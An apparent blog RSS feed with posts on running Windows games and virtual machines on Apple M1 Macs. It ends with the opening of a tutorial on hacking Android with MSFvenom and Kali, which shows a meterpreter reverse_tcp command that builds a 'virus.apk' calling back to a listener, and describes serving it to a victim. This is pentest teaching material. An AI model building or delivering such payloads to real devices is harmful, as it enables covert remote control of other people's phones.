&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/playDoom3NativelyOnAppleM1/doom3.png" alt="&amp;ldquo;Doom 3&amp;rdquo;">&lt;/p>
&lt;h2 id="what-about-the-bfg-edition-">
What about the BFG Edition ?
&lt;a class="heading-link" href="#what-about-the-bfg-edition-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>It&amp;rsquo;s just the same process, to summarize everything:&lt;/p>
&lt;ol>
&lt;li>Download the game files from Steam through the &lt;a href="https://developer.valvesoftware.com/wiki/SteamCMD">SteamCMD&lt;/a>&lt;/li>
&lt;li>Download and configure the source port from &lt;a href="https://macsourceports.com">Mac Source Ports&lt;/a> by following the &amp;ldquo;Install Instructions&amp;rdquo; for that specific game&lt;/li>
&lt;/ol>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>There are many ways to play Windows games on macOS which don&amp;rsquo;t necessarily rely on Crossover and Parallels. If you just need to download the files of a Windows game without running directly the executable through Steam, you just need to use the SteamCMD. In all other cases, use Parallels or Crossover, Wineskin does not work very good with Steam unfortunately.&lt;/p></description></item><item><title>Wineskin Server, a free alternative to Crossover on M1</title><link>https://malwarewerewolf.com/posts/wineskin-server-a-free-alternative-to-crossover-on-m1/</link><pubDate>Wed, 22 Dec 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/wineskin-server-a-free-alternative-to-crossover-on-m1/</guid><description>&lt;p>I read many articles online but many of them (most if not all) only mention the same tools to play Windows games on an Apple M1, e.g.:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://parallels.com/">Parallels&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.codeweavers.com/crossover/">Crossover&lt;/a>&lt;/li>
&lt;li>Emulation in general, not limited to Parallels but the latter is the only software at the moment which works very good&lt;/li>
&lt;/ul>
&lt;p>Boot Camp does not work on an Apple M1 as officially confirmed by Apple. As you can see you don&amp;rsquo;t have many options which are also free, you could also emulate Windows through &lt;a href="https://mac.getutm.app">UTM&lt;/a> but it does not work that great. I wrote a &lt;a href="https://malwarewerewolf.com/posts/qemu-parallels-or-utm-which-one-is-the-best-with-apple-m1-chip-/">post&lt;/a> about the best software to use to emulate an OS if you want to check it out. Wine does not have an official binary for macOS Catalina 10.15 or later as mentioned &lt;a href="https://wiki.winehq.org/MacOS">here&lt;/a>, but we can use &lt;a href="https://github.com/Gcenx/WineskinServer">this Wineskin Server&lt;/a> project which supports &lt;em>MacOSX10.13 to macOS11&lt;/em>. I am currently using macOS 12.0.1 but it works flawlessly.&lt;/p>
&lt;h2 id="install-wineskin">
Install Wineskin
&lt;a class="heading-link" href="#install-wineskin">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>As specified on the &lt;a href="https://github.com/Gcenx/WineskinServer">Github repository&lt;/a>, we just need to run the following command to install Wineskin:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-shell" data-lang="shell">$ brew install --no-quarantine gcenx/wine/unofficial-wineskin
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="which-windows-games-are-supported-">
Which Windows games are supported ?
&lt;a class="heading-link" href="#which-windows-games-are-supported-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Steam games don&amp;rsquo;t work very well, I managed to install &lt;strong>Castlevania Lords of Shadow Mirror Fate&lt;/strong> but Wineskin was running the game at 30 FPS or even less in some scenarios. However if you install a &lt;strong>GOG game&lt;/strong>, it&amp;rsquo;s a complete different story from the moment you don&amp;rsquo;t need a client opened to play a game. You just need to download a game through the offline installer, of course you have to consider that not all games are supported but it&amp;rsquo;s much easier to get a game running. I noticed that some games on GOG which are also available on macOS, can only be downloaded for the Windows platform, in this case if you see the same game on Steam available on macOS, then buy the game on Steam from the moment you&amp;rsquo;ll get a better performance with Rosetta 2.&lt;/p>
&lt;h2 id="lets-setup-a-wrapper-with-wineskin">
Let&amp;rsquo;s setup a Wrapper with Wineskin
&lt;a class="heading-link" href="#lets-setup-a-wrapper-with-wineskin">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>When you open Wineskin you get an interface like this:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/wineskinServerAFreeAlternativeToCrossoverOnM1/wineskinFirstSetup.png" alt="&amp;ldquo;Wineskin First Setup&amp;rdquo;">&lt;/p>
&lt;p>Before creating a Wrapper you need to install an engine, you can download the engine WineCX20 or greater. If you don&amp;rsquo;t see the engine from Wineskin, you can download it from &lt;a href="https://github.com/Gcenx/WineskinServer/releases">here&lt;/a>. After that you just need to copy and paste the file in the path &lt;code>~/Library/Application Support/Wineskin/Engines&lt;/code>. Create a Wrapper and navigate to this path &lt;code>~/Applications/Wineskin&lt;/code> you should see the Wrapper that you just created:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/wineskinServerAFreeAlternativeToCrossoverOnM1/wineskinWrappersList.png" alt="&amp;ldquo;Wineskin Wrappers List&amp;rdquo;">&lt;/p>
&lt;p>Keep in mind that you need to use the correct architecture, if you use a x64 engine on a x86 game it&amp;rsquo;s not going to work. You don&amp;rsquo;t need to use the installer to extract the game files to check the architecture of the exe, I&amp;rsquo;ll show you later another way to install a game without launching the setup.&lt;/p>
&lt;p>Right click on the Wrapper and click on &lt;strong>Show package contents&lt;/strong>, from here you can manage your Wrapper by copying files inside the &lt;strong>drive_c folder&lt;/strong> and other settings through the Wineskin app:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/wineskinServerAFreeAlternativeToCrossoverOnM1/wineskinWrapperFolder.png" alt="&amp;ldquo;Wineskin Wrapper Folder&amp;rdquo;">&lt;/p>
&lt;h2 id="download-the-offline-installer-from-gog">
Download the offline installer from GOG
&lt;a class="heading-link" href="#download-the-offline-installer-from-gog">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Login into your GOG account and click on games under your profile icon to display your games list:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/wineskinServerAFreeAlternativeToCrossoverOnM1/GOGGamesList.png" alt="&amp;ldquo;GOG Games List&amp;rdquo;">&lt;/p>
&lt;p>Click on a game and download the offline installer files:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/wineskinServerAFreeAlternativeToCrossoverOnM1/offlineInstaller.png" alt="&amp;ldquo;Offline Installer Files&amp;rdquo;">&lt;/p>
&lt;h2 id="install-the-game-with-the-offline-installer">
Install the game with the offline installer
&lt;a class="heading-link" href="#install-the-game-with-the-offline-installer">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Follow these steps to install correctly the game:&lt;/p>
&lt;ol>
&lt;li>Drag and drop the files in the drive_c folder of your Wrapper&lt;/li>
&lt;li>Open the Wrapper and click on the advanced options to set the path of the installer, e.g.:&lt;/li>
&lt;/ol>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/wineskinServerAFreeAlternativeToCrossoverOnM1/installTheGame.png" alt="&amp;ldquo;Install the game&amp;rdquo;">&lt;/p>
&lt;ol start="3">
&lt;li>Click on &lt;strong>Test Run&lt;/strong> to launch the installer:&lt;/li>
&lt;/ol>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/wineskinServerAFreeAlternativeToCrossoverOnM1/testRun.png" alt="&amp;ldquo;Test Run">&lt;/p>
&lt;ol start="4">
&lt;li>After the installation is complete, repeat the step 2 by choosing the exe of the game, in my case is &lt;strong>War2Launcher.exe&lt;/strong> keep in mind that if the game is working, you just need to open directly the Wrapper and it&amp;rsquo;ll launch the game without clicking on &lt;strong>Test Run&lt;/strong>&lt;/li>
&lt;/ol>
&lt;p>If the game is supported and if you used the correct architecture, it should run without any issues:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/wineskinServerAFreeAlternativeToCrossoverOnM1/gameRunning.png" alt="&amp;ldquo;Game Running">&lt;/p>
&lt;h2 id="use-innoextract-to-extract-the-files-from-the-setup">
Use innoextract to extract the files from the setup
&lt;a class="heading-link" href="#use-innoextract-to-extract-the-files-from-the-setup">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Another way to play GOG games is to use the &lt;a href="https://constexpr.org/innoextract/">innoextract tool&lt;/a>, which is used to unpack installers created with &lt;a href="https://jrsoftware.org/isinfo.php">Inno Setup&lt;/a>. From the &lt;a href="https://constexpr.org/innoextract/install#homebrew">documentation&lt;/a>, the simplest way to install &lt;strong>innoextract&lt;/strong> is using the &lt;a href="https://formulae.brew.sh/formula/innoextract">Homebrew package&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-shell" data-lang="shell">$ brew update
$ brew install innoextract
&lt;/code>&lt;/pre>&lt;/div>&lt;p>If the GOG offline installer doesn&amp;rsquo;t include some kind of bin files, you just need to run the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-shell" data-lang="shell">$ innoextract mysetup.exe
&lt;/code>&lt;/pre>&lt;/div>&lt;p>If it includes the bin files, run this command (all files need to be in the same directory):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-shell" data-lang="shell">$ innoextract mysetup.exe --gog
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The files are extracted but how do we check which architecture the exe is using ? Run this command by passing the exe of the game:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-shell" data-lang="shell">$ file example.exe
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Which prints:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">example.exe: PE32 executable (GUI) Intel 80386, for MS Windows
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After the files are extracted, you just need to choose the correct exe to run in Wineskin and you are ready to play (if there are not other issues to solve first).&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Wineskin Server is a good free alternative to Crossover and Parallels. Unless you have a Windows PC, before buying a game should check if that particular game is playable on an Apple M1, there are many websites that you can use, I recommend &lt;a href="https://www.applegamingwiki.com/wiki/Home">AppleGamingWiki&lt;/a>. Each game requires different settings and tweaks to make it work, there isn&amp;rsquo;t a standard solution so you&amp;rsquo;ll need to google for some intel.&lt;/p></description></item><item><title>QEMU, VMWare, Parallels or UTM, which one is the best with Apple M1 chip ?</title><link>https://malwarewerewolf.com/posts/qemu-vmware-parallels-or-utm-which-one-is-the-best-with-apple-m1-chip-/</link><pubDate>Fri, 11 Jun 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/qemu-vmware-parallels-or-utm-which-one-is-the-best-with-apple-m1-chip-/</guid><description>&lt;p>I always used PCs with Windows already pre-installed but I never tried a Macbook before. I was also curious about the new Apple M1 chip and from the moment it was released recently, I thought it was a good time to discover new features to help the community to use efficiently these Macbooks with the new chip. We are going to analyze each tool in order to declare a winner.&lt;/p>
&lt;h2 id="qemu">
QEMU
&lt;a class="heading-link" href="#qemu">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Before the version 6.0.0 to make a VM work, you had different options:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>The easiest option was to download &lt;a href="https://github.com/KhaosT/ACVM">this tool&lt;/a> on Github and simply drag and drop the image and press start, pretty simple right ? Not really, I was only able to make the &lt;strong>Windows ARM&lt;/strong> version work with this tool, for some reason it was not working with &lt;strong>Ubuntu Server&lt;/strong>. I made a &lt;a href="https://www.youtube.com/watch?v=izftkebufnk&amp;amp;t=280s">video&lt;/a> about the emulation with QEMU where I also talk about this issue, it&amp;rsquo;s probably caused by some wrong parameters used when the &lt;strong>qemu-img&lt;/strong> command is executed.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Do everything manually from compiling the QEMU source code to build the VM, there are many other posts where they teach you how to do this. The following posts are outdated but they give a good overview about how to compile the source code of QEMU:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://forums.macrumors.com/threads/success-virtualize-windows-10-for-arm-on-m1-with-alexander-grafs-qemu-hypervisor-patch.2272354/">Virtualize Windows 10 for ARM on M1 with Alexander Graf&amp;rsquo;s qemu hypervisor patch&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://gist.github.com/niw/e4313b9c14e968764a52375da41b4278">How to run Windows 10 on ARM or Ubuntu for ARM64 in QEMU on Apple Silicon Mac
&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://gist.github.com/citruz/9896cd6fb63288ac95f81716756cb9aa">Running Linux and Windows on M1 with QEMU
&lt;/a>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Download a &lt;strong>QEMU fork&lt;/strong> (for those who don&amp;rsquo;t know what is a fork, it&amp;rsquo;s simply a copy of a repository) with &lt;strong>Alexander Graf&amp;rsquo;s qemu hypervisor patch installed&lt;/strong> and launch the VM from the terminal always using QEMU (not the one installed with &lt;strong>homebrew&lt;/strong>). For example this is the script that I used with Ubuntu Server:&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">./qemu-system-aarch64 &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -serial stdio &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -M virt,highmem&lt;span style="color:#f92672">=&lt;/span>off &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -accel hvf &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -cpu cortex-a72 &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -smp 4,cores&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -m &lt;span style="color:#ae81ff">4096&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -bios &lt;span style="color:#e6db74">&amp;#34;/Applications/ACVM.app/Contents/Resources/QEMU_EFI.fd&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -device virtio-gpu-pci &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -display default,show-cursor&lt;span style="color:#f92672">=&lt;/span>on &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -device qemu-xhci &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -device usb-kbd &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -device usb-tablet &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -device intel-hda &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -device hda-duplex &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -drive file&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;myPathHere/ubuntu-server.qcow2&amp;#34;&lt;/span>,if&lt;span style="color:#f92672">=&lt;/span>virtio,cache&lt;span style="color:#f92672">=&lt;/span>writethrough &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> -cdrom &lt;span style="color:#e6db74">&amp;#34;myPathHere/ubuntu-server.iso&amp;#34;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>But wait where can I find a fork with this patch already installed ? &lt;a href="https://github.com/KhaosT/ACVM">ACVM&lt;/a> already contains a QEMU build with this patch installed, there is also &lt;a href="https://mega.nz/file/QYB0QTrC#p6IMBJlFqqNKuGonwrDkPOVKQj8yHCVgiLOYVaGvs4M">this link&lt;/a> where you can find another fork (you can also find the link on &lt;a href="https://forums.macrumors.com/threads/success-virtualize-windows-10-for-arm-on-m1-with-alexander-grafs-qemu-hypervisor-patch.2272354/">this post&lt;/a>).&lt;/p>
&lt;h2 id="utm">
UTM
&lt;a class="heading-link" href="#utm">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>The process to create a VM is more simple, for example to create a Windows VM you can take a look on the &lt;a href="https://mac.getutm.app/gallery/windows-10">official website&lt;/a>. There is also a &lt;a href="https://mac.getutm.app/gallery/">gallery page&lt;/a> where you can get a good explanation about how to install different OS if you are not interested in Windows 10.&lt;/p>
&lt;p>Unfortunately there is a catch, at least for Windows 10, I didn&amp;rsquo;t test other operative systems. For some reason the Edge Browser continuously open again and again, besides that the cursor flickers constantly and it&amp;rsquo;s very annoying. Is there a way to fix this ? I didn&amp;rsquo;t found a solution but if you have found it, you can share it in the comment section below (or if I found a solution I will update this post). As you might imagined Windows 10 does not work very well with UTM but these issues are also present in QEMU (I mean QEMU standalone, of course UTM is built around QEMU).&lt;/p>
&lt;h3 id="utm-release-241">
UTM release 2.4.1
&lt;a class="heading-link" href="#utm-release-241">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h3>
&lt;p>Apperantly the issue with the mouse flickering was fixed with the &lt;a href="https://github.com/utmapp/UTM/releases/tag/v2.4.1">release 2.4.1&lt;/a>, you just need to use the latest SPICE tools ISO. Nonetheless there are still some performance issues.&lt;/p>
&lt;h2 id="vmware-fusion">
VMWare Fusion
&lt;a class="heading-link" href="#vmware-fusion">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>At the moment &lt;strong>VMWare Fusion&lt;/strong> has a technical preview, which can be downloaded from the &lt;a href="https://blogs.vmware.com/teamfusion/2021/09/fusion-for-m1-public-tech-preview-now-available.html">official website&lt;/a>.&lt;/p>
&lt;p>You can install &lt;strong>Windows 11&lt;/strong> and it actually works pretty well, even though you have to do some tweaks (some of these tweaks are the same for UTM):&lt;/p>
&lt;ol>
&lt;li>Download the necessary &lt;strong>UUP Files&lt;/strong> from &lt;a href="https://uupdump.net">uupdump&lt;/a>&lt;/li>
&lt;li>Follow &lt;a href="https://www.youtube.com/watch?v=-0f--nvPBCA">this video&lt;/a> on Youtube to install Windows 11 on VMWare Fusion&lt;/li>
&lt;li>The video doesn&amp;rsquo;t explain how to download the UUP Files with the macOS script, you basically need &lt;a href="https://brew.sh">Homebrew&lt;/a> however there are some issues with a package that you need to install. In the terminal launch these commands which are also listed &lt;a href="https://github.com/sidneys/homebrew-homebrew/issues/2">here&lt;/a> to make it work:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">curl -LO https://gist.github.com/minacle/e9dedb8c17025a23a453f8f30eced3da/raw/908b944b3fe2e9f348fbe8b8800daebd87b5966c/openssl@1.0.rb
curl -LO https://gist.github.com/minacle/e9dedb8c17025a23a453f8f30eced3da/raw/908b944b3fe2e9f348fbe8b8800daebd87b5966c/chntpw.rb
brew install --formula --build-from-source ./openssl@1.0.rb
brew install --formula --build-from-source ./chntpw.rb
rm ./openssl@1.0.rb ./chntpw.rb
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="4">
&lt;li>You may also need to update the &lt;strong>command line tools&lt;/strong>, it should appear an error on the terminal with some instructions, if you&amp;rsquo;re not using the latest version. If it is a warning just ignore it&lt;/li>
&lt;li>Now you can launch the script by making it an executable with &lt;code>chmod +x filename&lt;/code>, the other necessary steps are shown in the video&lt;/li>
&lt;li>If for some reason during the first setup of Windows 11 you can&amp;rsquo;t skip the configuration of the Wifi, simply follow &lt;a href="https://www.youtube.com/watch?v=i3NPilpkC8M">this video&lt;/a>. It seems that there are many processes running during the first setup, you just need to close the right one and you can finish the setup easily&lt;/li>
&lt;li>The last thing to do is to use the &lt;a href="https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-mac">remote desktop&lt;/a> to get a fullscreen resolution, at the moment there isn&amp;rsquo;t a better solution to this issue. Follow &lt;a href="https://www.youtube.com/watch?v=KaaNNgX8ATc">this video&lt;/a> on Youtube for a complete explanation with VMWare Fusion&lt;/li>
&lt;/ol>
&lt;p>Now the question might be &amp;ldquo;Why using the UUP Files instead of the preview file from the Microsoft&amp;rsquo;s site ?&amp;rdquo;, well the reason is pretty simple, the &lt;strong>vhdx&lt;/strong> file could get corrupted during the installation of Windows or later. For this reason is better to use an &lt;strong>ISO&lt;/strong> from &lt;strong>uupdump&lt;/strong>. You could also convert the vhdx extension to &lt;strong>qcow2&lt;/strong> with this command (even in this case the file can get corrupted and you would need recreate it again):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">qemu-img convert -p -O qcow2 /path/to/Windows11_InsiderPreview_Client_ARM64_en-us_22483.VHDX /path/to/output/Windows11_InsiderPreview_Client_ARM64_en-us_22483.qcow2
&lt;/code>&lt;/pre>&lt;/div>&lt;p>For UTM there&amp;rsquo;s &lt;a href="https://www.youtube.com/watch?v=KUlqHmiZLyU">this video&lt;/a> if you want to check, some steps as I said are basically the same.&lt;/p>
&lt;h2 id="parallels">
Parallels
&lt;a class="heading-link" href="#parallels">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>If you want to use Parallels, buy a licence (or at least try before you buy). It&amp;rsquo;s very simple to create a VM, you just need to select the file in the &lt;strong>Finder&lt;/strong> and Parallels will do the rest, no terminal, no strange tweaks, no drivers to install, nothing. &lt;a href="https://www.youtube.com/watch?v=-DFdF6zIx-Y">In this video&lt;/a> there is an example.&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>&lt;strong>QEMU&lt;/strong> could be too complicate for some users, I managed to get &lt;strong>Ubuntu Server&lt;/strong> working from the terminal but it&amp;rsquo;s better to use a GUI software so you can avoid many issues instead of setting everything on your own.&lt;/p>
&lt;p>&lt;strong>UTM&lt;/strong> could be a good alternative, but unfortunately it&amp;rsquo;s not fully usable. You could use it to run simple applications, but don&amp;rsquo;t expect to play games or to do other complex stuff, for that purpose there is Parallels which works much better.&lt;/p>
&lt;p>&lt;strong>Virtualbox&lt;/strong> is probably never going to get a release to support the M1 chip, from the moment it&amp;rsquo;s a general-purpose full virtualizer for x86 hardware, which the M1 or M1X are not part of this.&lt;/p>
&lt;p>&lt;strong>VMWare Fusion&lt;/strong> is currently in a technical preview like Parallels was a few months ago, it sure is a good alternative to Parallels but it requires some tweaks to make Windows or another OS work.&lt;/p>
&lt;p>This post was simply made to give an overview to everyone who is going to virtualize an OS on an &lt;strong>Apple M1 chip&lt;/strong>, if I would declare a winner, I would choose &lt;strong>Parallels&lt;/strong>, why you may ask ? The answer should be obvious but it&amp;rsquo;s because of its simplicity and the fact that many features are perfectly working, you can also play 3D games!&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/parallelsOrUTMWhichOneIsTheBestWithTheAppleM1Chip/parallelsScreen.png" alt="&amp;ldquo;parallelsScreen&amp;rdquo;">&lt;/p></description></item><item><title>Hack an Android device with MSFvenom and Kali Linux</title><link>https://malwarewerewolf.com/posts/hack-an-android-device-with-msfvenom-and-kali-linux/</link><pubDate>Thu, 03 Jun 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/hack-an-android-device-with-msfvenom-and-kali-linux/</guid><description>&lt;p>There are different ways and tools to hack an Android device, in this post, I will focus on &lt;strong>MSFvenom&lt;/strong> to generate an APK which will be installed on the target device and the &lt;strong>Metasploit console&lt;/strong> to set up a listener which will be used to interact with the device through the APK installed. Keep in mind that the payload used is not going to work with every Android version, mostly with the recent ones. The main purpose is to show how create a payload and setup a listener, after that we just need to create a server where the victim will download the virus. I found many other tutorials on Google about this topic but they are extremely old and they don&amp;rsquo;t even tell you the Kali version used. You might think that is not important, but when I was looking to learn how to use MSFvenom, many parameters used were not working. Here is a simple example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ msfvenom –p android/meterpreter/reverse_tcp LHOST&lt;span style="color:#f92672">=&lt;/span>192.168.1.1 LPORT&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">4444&lt;/span> R &amp;gt; virus.apk
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So why this is wrong in the first place ? If we paste this command in our terminal, we get this error:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">Error: No options
&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see something is not correct, more specifically &amp;ldquo;&lt;strong>R&lt;/strong>&amp;rdquo; is not recognized as a parameter, technically this should create our APK as an output file, but if we check the official documentation on the &lt;a href="https://www.offensive-security.com/metasploit-unleashed/msfvenom/">Offensive Security website&lt;/a>, we can clearly see that the correct parameter to use is &amp;ldquo;&lt;strong>-o&lt;/strong>&amp;quot;:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/hackAnAndroidDeviceWithMsfvenomAndKaliLinux/msfvenomCommands.png" alt="&amp;ldquo;msfvenom-commands&amp;rdquo;">&lt;/p>
&lt;p>This is just a simple tip to take these tutorials as they are right now, because after one year they could already be outdated, even this tutorial created by me of course. If something is not working, check the &lt;a href="https://www.offensive-security.com/metasploit-unleashed/">documentation&lt;/a>.&lt;/p>
&lt;h2 id="requirements">
Requirements
&lt;a class="heading-link" href="#requirements">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>It should be obvious but these are the tools required:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/get-kali/">Kali Linux&lt;/a> (the version used is &lt;strong>2021.1&lt;/strong>)&lt;/li>
&lt;li>An Android device (if you do not have an Android phone, use a VM or an emulator like &lt;a href="https://www.bluestacks.com/">Bluestacks&lt;/a>)&lt;/li>
&lt;/ul>
&lt;p>You have already installed Kali Linux but you don&amp;rsquo;t remember the correct version ? No problem, use this command in the terminal:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ lsb_release -a
&lt;/code>&lt;/pre>&lt;/div>&lt;p>And you should get the following output:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2021.1
Codename: kali-rolling
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="create-the-payload">
Create the payload
&lt;a class="heading-link" href="#create-the-payload">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Instead of typing 7 different commands in the terminal one by one, we can simply create a shell script to do the job. Open the terminal and use the following command to create a file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ touch createThePayload.sh
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Make the script created an executable with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ chmod +x createThePayload.sh
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Copy and paste the following code (of course you have to set your IP and a port like &lt;strong>4444&lt;/strong>):&lt;/p>
